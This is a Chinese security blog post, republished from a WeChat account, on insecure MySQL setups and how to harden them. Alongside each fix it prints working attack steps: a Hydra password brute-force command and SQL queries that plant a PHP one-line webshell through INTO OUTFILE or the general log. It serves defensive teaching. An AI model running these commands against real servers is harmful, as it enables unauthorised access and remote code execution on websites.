安全攻防 | mysql安全问题及修复方式

admin 2023年1月1日16:09:56评论32 views字数 2246阅读7分29秒阅读模式

声明:本人坚决反对利用文章内容进行恶意攻击行为,一切错误行为必将受到惩罚,绿色网络需要靠我们共同维护,推荐大家在了解技术原理的前提下,更好的维护个人信息安全、企业安全、国家安全。


Mysql是目前较为流行的关系型数据库管理系统,由于其体积小、速度快、维护成本较低。一般中小型网站的开发使用Mysql作为网站数据库较多。但是Mysql的不安全配置,也会带来很多的安全隐患,如:Mysql弱口令、数据库写webshell、UDF提权等。在本节将给读者介绍几种常见的Mysql不安全配置导致的安全问题,并针对该问题提供了常用的修复和加固方式。


1
Mysql数据库口令猜解

Mysql数据库在允许远程连接的情况下,攻击者可以利用弱口令检查工具,如:Hydra等,对Mysql数据库进行弱口令暴力破解攻击,如图所示为通过Hydra远程暴力破解数据库口令,猜解出口令为root/root。

>>> sudo hydra -l root -P password.txt mysql://192.168.5.160 -I

安全攻防 | mysql安全问题及修复方式

为防止攻击者远程暴力破解Mysql数据库口令,对于站库分离的网站类型,可以通过设置白名单的方式,禁止数据库被公开访问,如不是站库分离的网站类型,可以关闭Mysql远程连接方式,只允许本地localhost连接管理数据库,利用该方式可以有效防止攻击者Mysql远程暴力破解攻击。

通过执行如下命令语句查询Mysql允许远程主机连接数据库情况,如果host字段为”%”表示该数据库允许远程主机连接,可以通过修改host字段为localhost表示只允许本地主机连接到Mysql数据库。如图所示,更改 Mysql只允许本地主机连接。

mysql> use mysql;mysql> select host, user from user;mysql> update user set host='localhost' where user='root';mysql> select host, user from user;

安全攻防 | mysql安全问题及修复方式

可以通过更改配置文件mysql/mysql.conf.d/mysqld.cnf或mysql/my.cnf配置文件。修改“bind-address”字段的值为127.0.0.0。这样可以使得远程主机探测不到mysql数据库开放的tcp端口。

安全攻防 | mysql安全问题及修复方式

修改Mysql数据库用户的登录口令的复杂度,通常要求密码长度在8-16位,字母大小写、数字、特殊字符的组合。不同的Mysql版本更改方式不同,此处列举了Mysql5和Mysql8两个版本的实例,如下所示:

对于Mysql8版本,可以通过执行以下指令修改root的登录口令。其中的‘%’根据查询的mysql数据库中的host字段的值确定。

>>> sudo mysql -u root -pMySQL > use mysql;MySQL >ALTER USER 'root'@'%' IDENTIFIED WITH mysql_native_password BY 'AnyWhereis5@0';

对于Mysql 5版本,可以通过执行以下指令修改root的登录口令。

>>> sudo mysql -u root -pMySQL > use mysql;MySQL >update user set authentication_string=password("AnyWhereis5@0") where user='root';

当攻击者成功猜解到数据库登录口令或者目标网站存在sql注入时,除了能够获取到数据库存储的敏感数据以外,如果Mysql具备可以在网站目录写权限的情况下,在向目标网站写入一句话木马文件,通过蚁剑工具远程连接后获取到目标网站的webshell,操作过程如图所示

2
数据库写webshell
>>> select '<?php @eval($_POST[passwd]);?>' into outfile '/var/www/html/shell.php';

安全攻防 | mysql安全问题及修复方式

如果目标网站设置了secure_file_priv参数,限制了Mysql文件写入功能。攻击者也可以修改MySQL的log日志文件写入一句话木马文件,最后通过蚁剑工具远程连接后获取到目标网站的webshell,操作过程如图所示。

MySQL > show variables like '%general%';MySQL > set global general_log = on;MySQL> select '<?php @eval($_POST[passwd]);?>';MySQL> set global general_log=off;

安全攻防 | mysql安全问题及修复方式

为防止攻击者通过Mysql向网站写入一句话木马,可以通过修改mysql/mysql.conf.d/mysqld.cnf或mysql/my.cnf配置文件,将secure_file_priv参数设置“NULL“或者指定特定目录路径,这样可以禁用或者限制Mysql的导入与导出功能。

为防止攻击者通过修改Mysql日志文件的方式向网站写入一句话木马,可以通过禁用root用户远程连接的方式,使用降权后的普通用户权限连接,

mysql> revoke ALL on *.* from admin@'%';

安全攻防 | mysql安全问题及修复方式

-END-

▎经典文章精选

渗透测试 | 攻击面信息收集
环境搭建 | CTFd动态靶机搭建笔记
权限提升 | suid提权及修复方式
近源渗透 | 使用Aircrack-ng破解wifi密码
神兵利器 | 自动化钉钉推送主机端口信息!


安全攻防 | mysql安全问题及修复方式

扫描下方 二维码 加入我们吧!

安全攻防 | mysql安全问题及修复方式

原文始发于微信公众号(betasec):安全攻防 | mysql安全问题及修复方式

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年1月1日16:09:56
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   安全攻防 | mysql安全问题及修复方式http://cn-sec.com/archives/1488926.html

发表评论

匿名网友 填写信息